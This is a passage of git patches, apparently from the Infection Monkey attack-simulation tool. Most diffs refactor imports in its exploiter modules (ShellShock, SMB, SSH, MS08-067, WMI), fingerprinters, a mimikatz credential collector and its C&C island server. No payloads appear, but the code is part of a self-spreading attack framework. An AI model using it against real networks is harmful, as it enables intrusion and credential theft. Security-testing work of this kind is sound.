infection_monkey.exploit.shellshock_resources import CGI_FILES +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'danielg' @@ -29,7 +30,7 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index d3b27f79d..7e6b68b20 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,12 +3,13 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -from exploit import HostExploiter -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline LOG = getLogger(__name__) @@ -23,8 +24,8 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b93970ca9..6be9621cc 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,12 +3,13 @@ import time import paramiko -import monkeyfs -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from model import MONKEY_ARG -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.monkeyfs as monkeyfs +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -22,7 +23,7 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py index dbbd8070a..31586417c 100644 --- a/monkey/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -17,11 +17,12 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMBConnection, SMB_DIALECT -import monkeyfs -from network import local_ips -from network.firewall import app as firewall -from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.network import local_ips +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import get_free_tcp_port, get_routes +from infection_monkey.transport import HTTPServer class DceRpcException(Exception): @@ -173,8 +174,7 @@ class SmbTools(object): @staticmethod def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - - config = __import__('config').WormConfiguration + config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) @@ -466,7 +466,7 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d def build_monkey_commandline(target_host, depth, location=None): - from config import GUID + from infection_monkey.config import GUID return build_monkey_commandline_explicitly( GUID, target_host.default_tunnel, target_host.default_server, depth, location) @@ -479,5 +479,5 @@ def get_binaries_dir_path(): def get_monkey_depth(): - from config import WormConfiguration + from infection_monkey.config import WormConfiguration return WormConfiguration.depth diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 85086bce7..b25289543 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,11 +14,12 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from network import SMBFinger -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.network import SMBFinger +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline from . import HostExploiter LOG = getLogger(__name__) @@ -158,8 +159,8 @@ class Ms08_067_Exploiter(HostExploiter): def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 0f9b2ee4c..26cae60c3 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,10 +5,11 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from exploit import HostExploiter -from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth -from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ + get_monkey_depth, build_monkey_commandline +from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS LOG = logging.getLogger(__name__) @@ -18,8 +19,8 @@ class WmiExploiter(HostExploiter): def __init__(self, host): super(WmiExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID @WmiTools.dcom_wrap def exploit_host(self): diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 4ff4917b9..98be6895f 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,14 +8,11 @@ import os import sys import traceback -from config import WormConfiguration, EXTERNAL_CONFIG_FILE -from dropper import MonkeyDrops -from model import MONKEY_ARG, DROPPER_ARG +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE +from infection_monkey.dropper import MonkeyDrops +from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey -import utils - -if __name__ == "__main__": - sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) __author__ = 'itamar' diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 1296570e1..27c1cc61b 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,4 +1,4 @@ -from host import VictimHost +from infection_monkey.model.host import VictimHost __author__ = 'itamar' diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec index fac69536e..61a2725c4 100644 --- a/monkey/infection_monkey/monkey-linux.spec +++ b/monkey/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8ad1baf8c..efdb43a3c 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -4,18 +4,18 @@ import os import subprocess import sys import time - -import tunnel -import utils -from config import WormConfiguration -from control import ControlClient -from model import DELAY_DELETE_CMD -from network.firewall import app as firewall -from network.network_scanner import NetworkScanner from six.moves import xrange -from system_info import SystemInfoCollector -from system_singleton import SystemSingleton -from windows_upgrader import WindowsUpgrader + +import infection_monkey.tunnel as tunnel +import infection_monkey.utils as utils +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.model import DELAY_DELETE_CMD +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.network_scanner import NetworkScanner +from infection_monkey.system_info import SystemInfoCollector +from infection_monkey.system_singleton import SystemSingleton +from infection_monkey.windows_upgrader import WindowsUpgrader __author__ = 'itamar' diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index cb9c6130e..07e9e81d3 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,7 +2,7 @@ import os import platform a = Analysis(['main.py'], - pathex=['.', '..'], + pathex=['..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index a1df9d2e9..abd08460e 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -18,12 +18,12 @@ class HostFinger(object): def get_host_fingerprint(self, host): raise NotImplementedError() -from ping_scanner import PingScanner -from tcp_scanner import TcpScanner -from smbfinger import SMBFinger -from sshfinger import SSHFinger -from httpfinger import HTTPFinger -from elasticfinger import ElasticFinger -from mysqlfinger import MySQLFinger -from info import local_ips -from info import get_free_tcp_port + +from infection_monkey.network.ping_scanner import PingScanner +from infection_monkey.network.tcp_scanner import TcpScanner +from infection_monkey.network.smbfinger import SMBFinger +from infection_monkey.network.sshfinger import SSHFinger +from infection_monkey.network.httpfinger import HTTPFinger +from infection_monkey.network.elasticfinger import ElasticFinger +from infection_monkey.network.mysqlfinger import MySQLFinger +from infection_monkey.network.info import local_ips, get_free_tcp_port diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 730decf4f..3d62de687 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -5,8 +5,9 @@ from contextlib import closing import requests from requests.exceptions import Timeout, ConnectionError -from model.host import VictimHost -from network import HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger ES_PORT = 9200 ES_SERVICE = 'elastic-search-9200' @@ -21,7 +22,7 @@ class ElasticFinger(HostFinger): """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 437edbf6c..829c6b1b5 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -1,16 +1,18 @@ -from network import HostFinger -from model.host import VictimHost +import infection_monkey.config +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost import logging LOG = logging.getLogger(__name__) + class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS] @staticmethod diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 39baa05ac..70080c12b 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -1,9 +1,10 @@ import logging import socket -from model.host import VictimHost -from network import HostFinger -from .tools import struct_unpack_tracker, struct_unpack_tracker_string +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' @@ -20,7 +21,7 @@ class MySQLFinger(HostFinger): HEADER_SIZE = 4 # in bytes def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 563b04b6d..cc0788154 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -1,11 +1,11 @@ import logging import time -from config import WormConfiguration -from info import local_ips, get_interfaces_ranges from common.network.network_range import * -from model import VictimHost -from . import HostScanner +from infection_monkey.config import WormConfiguration +from infection_monkey.network.info import local_ips, get_interfaces_ranges +from infection_monkey.model import VictimHost +from infection_monkey.network import HostScanner __author__ = 'itamar' diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 7162c36f3..075b57669 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -4,8 +4,9 @@ import re import subprocess import sys -from model.host import VictimHost -from . import HostScanner, HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostScanner, HostFinger __author__ = 'itamar' @@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._devnull = open(os.devnull, "w") self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 9ccb52422..ab92f2761 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -1,10 +1,11 @@ import socket import struct import logging -from network import HostFinger -from model.host import VictimHost from odict import odict +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost + SMB_PORT = 445 SMB_SERVICE = 'tcp-445' @@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet): class SMBFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + from infection_monkey.config import WormConfiguration + self._config = WormConfiguration def get_host_fingerprint(self, host): assert isinstance(host, VictimHost) diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index 89c3092d7..21deb8814 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -1,8 +1,9 @@ import re -from model.host import VictimHost -from network import HostFinger -from network.tools import check_tcp_port +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import check_tcp_port SSH_PORT = 22 SSH_SERVICE_DEFAULT = 'tcp-22' @@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian'] class SSHFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) @staticmethod diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index e291e8d3e..d8e861590 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,8 +1,9 @@ from itertools import izip_longest from random import shuffle -from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +import infection_monkey.config +from infection_monkey.network import HostScanner, HostFinger +from infection_monkey.network.tools import check_tcp_ports __author__ = 'itamar' @@ -11,7 +12,7 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def is_host_alive(self, host): return self.get_host_fingerprint(host, True) diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index 667ff9890..fbfbcbd7a 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -5,8 +5,8 @@ import sys import psutil from enum import IntEnum -from network.info import get_host_subnets -from azure_cred_collector import AzureCollector +from infection_monkey.network.info import get_host_subnets +from infection_monkey.system_info.azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -112,7 +112,7 @@ class InfoCollector(object): Updates the credentials structure, creating it if neccesary (compat with mimikatz) :return: None. Updates class information """ - from config import WormConfiguration + from infection_monkey.config import WormConfiguration if not WormConfiguration.extract_azure_creds: return LOG.debug("Harvesting creds if on an Azure machine") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 65f326256..f221fce5a 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -3,6 +3,8 @@ import ctypes import logging import socket +import infection_monkey.config + __author__ = 'itay.mizeretz' LOG = logging.getLogger(__name__) @@ -17,7 +19,7 @@ class MimikatzCollector(object): try: self._isInit = False - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 610c4e8e3..0a46322cd 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,7 +1,7 @@ import logging -from mimikatz_collector import MimikatzCollector -from . import InfoCollector +from infection_monkey.system_info.mimikatz_collector import MimikatzCollector +from infection_monkey.system_info import InfoCollector LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index 970905a9c..9f56c238e 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -3,7 +3,7 @@ import logging import sys from abc import ABCMeta, abstractmethod -from config import WormConfiguration +from infection_monkey.config import WormConfiguration __author__ = 'itamar' diff --git a/monkey/infection_monkey/test/config__test.py b/monkey/infection_monkey/test/config__test.py index accdd5a49..fc51e0141 100644 --- a/monkey/infection_monkey/test/config__test.py +++ b/monkey/infection_monkey/test/config__test.py @@ -6,9 +6,9 @@ import unittest from mock import Mock, patch -import control +import infection_monkey.control as control -from config import GUID +from infection_monkey.config import GUID class ReportConfigErrorTestCase(unittest.TestCase): diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 651964fcb..961ff3c9a 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,4 +1,4 @@ -from ftp import FTPServer -from http import HTTPServer +from infection_monkey.transport.ftp import FTPServer +from infection_monkey.transport.http import HTTPServer __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py index dae0ff072..e6a5bc366 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -3,6 +3,7 @@ from threading import Thread g_last_served = None + class TransportProxyBase(Thread): def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): global g_last_served diff --git a/monkey/infection_monkey/transport/ftp.py b/monkey/infection_monkey/transport/ftp.py index c90f8c484..4849f570e 100644 --- a/monkey/infection_monkey/transport/ftp.py +++ b/monkey/infection_monkey/transport/ftp.py @@ -1,4 +1,6 @@ -import socket, threading, time +import socket +import threading +import time import StringIO __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 8d07fd155..c2ad996dd 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -7,8 +7,8 @@ import urllib from logging import getLogger from urlparse import urlsplit -import monkeyfs -from base import TransportProxyBase, update_last_serve_time +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time __author__ = 'hoffer' diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index eaa94de1c..e910e657f 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -1,9 +1,10 @@ import socket import select from threading import Thread -from base import TransportProxyBase, update_last_serve_time from logging import getLogger +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time + READ_BUFFER_SIZE = 8192 DEFAULT_TIMEOUT = 30 diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 9a50679ff..d589ac98b 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -5,11 +5,11 @@ import time from difflib import get_close_matches from threading import Thread -from model import VictimHost -from network.firewall import app as firewall -from network.info import local_ips, get_free_tcp_port -from network.tools import check_tcp_port -from transport.base import get_last_serve_time +from infection_monkey.model import VictimHost +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import local_ips, get_free_tcp_port +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.transport.base import get_last_serve_time __author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py index e2f66bd03..664fcef44 100644 --- a/monkey/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,7 +2,7 @@ import os import sys import struct -from config import WormConfiguration +from infection_monkey.config import WormConfiguration def get_monkey_log_path(): diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 4ee0462c5..67b1c3cbd 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -5,12 +5,12 @@ import shutil import time -import monkeyfs -from config import WormConfiguration -from control import ControlClient -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_windows_os, is_64bit_python +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' From 36230fa25cb4015d398d56d7b3f1ca14b3994091 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 15:40:13 +0300 Subject: [PATCH 07/19] monkey island can now be run from both monkey_island.py and run_cc.bat --- monkey/monkey_island.py | 4 ++++ monkey/monkey_island/cc/main.py | 6 +++++- monkey/monkey_island/windows/run_cc.bat | 2 +- 3 files changed, 10 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py new file mode 100644 index 000000000..104b5efdf --- /dev/null +++ b/monkey/monkey_island.py @@ -0,0 +1,4 @@ +import monkey_island.cc.main + +if "__main__" == __name__: + monkey_island.cc.main.main() diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 722009aa9..b23fd4cf7 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -14,7 +14,8 @@ from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -if __name__ == '__main__': + +def main(): from tornado.wsgi import WSGIContainer from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop @@ -36,3 +37,6 @@ if __name__ == '__main__': print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) IOLoop.instance().start() + +if __name__ == '__main__': + main() diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index 56f349c7b..e86b5a145 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,4 +1,4 @@ @title C^&C Server @pushd .. -@monkey_island\bin\Python27\python monkey_island\cc\main.py +@monkey_island\bin\Python27\python monkey_island.py @popd \ No newline at end of file From ddaeb7dbf82067f1e7895c759a5271564f792b5d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 20:48:04 +0300 Subject: [PATCH 08/19] more fixes to deb --- monkey/monkey_island/deb-package/DEBIAN/postinst | 4 ++-- monkey/monkey_island/linux/ubuntu/systemd/start_server.sh | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 00d3b78f1..b5523f0ed 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -5,11 +5,11 @@ INSTALLATION_FOLDER=/var/monkey/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv -pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER +pip2 download --exists-action i virtualenv -d $INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip download --exists-action i -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt -d $INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh index 21ba14f58..978e02fe5 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh +++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh @@ -1,4 +1,4 @@ #!/bin/bash cd /var/monkey -/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file From 4e84c87050e3b13ca3e38f3cb8d93eef796cff9c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 13:35:48 +0300 Subject: [PATCH 09/19] Add missing files --- monkey/monkey_island/cc/island_logger.py | 26 +++++++++++++++ .../cc/island_logger_default_config.json | 33 +++++++++++++++++++ .../monkey_island/cc/resources/island_logs.py | 19 +++++++++++ .../monkey_island/cc/services/island_logs.py | 32 ++++++++++++++++++ 4 files changed, 110 insertions(+) create mode 100644 monkey/monkey_island/cc/island_logger.py create mode 100644 monkey/monkey_island/cc/island_logger_default_config.json create mode 100644 monkey/monkey_island/cc/resources/island_logs.py create mode 100644 monkey/monkey_island/cc/services/island_logs.py diff --git a/monkey/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py new file mode 100644 index 000000000..8fbef1e0e --- /dev/null +++ b/monkey/monkey_island/cc/island_logger.py @@ -0,0 +1,26 @@ +import os +import json +import logging.config + + +__author__ = 'Maor.Rayzin' + + +def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): + """ + Setup the logging configuration + :param default_path: the default log configuration file path + :param default_level: Default level to log from + :param env_key: SYS ENV key to use for external configuration file path + :return: + """ + path = default_path + value = os.getenv(env_key, None) + if value: + path = value + if os.path.exists(path): + with open(path, 'rt') as f: + config = json.load(f) + logging.config.dictConfig(config) + else: + logging.basicConfig(level=default_level) diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json new file mode 100644 index 000000000..e41ca3d9b --- /dev/null +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -0,0 +1,33 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" + } + }, + + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + + "root": { + "level": "INFO", + "handlers": ["console", "info_file_handler"] + } +} \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py new file mode 100644 index 000000000..971306c14 --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_logs.py @@ -0,0 +1,19 @@ +import logging + +import flask_restful + +from cc.auth import jwt_required +from cc.services.island_logs import IslandLogService + +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLog(flask_restful.Resource): + @jwt_required() + def get(self): + try: + return IslandLogService.get_log_file() + except Exception as e: + logger.error('Monkey Island logs failed to download', exc_info=True) diff --git 